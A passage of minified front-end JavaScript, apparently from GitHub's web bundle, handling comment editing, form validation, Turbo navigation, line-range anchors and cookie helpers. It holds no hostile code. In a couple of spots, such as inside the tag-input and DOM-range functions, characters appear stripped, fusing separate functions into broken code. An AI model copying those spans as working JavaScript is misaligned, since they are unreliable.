a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new 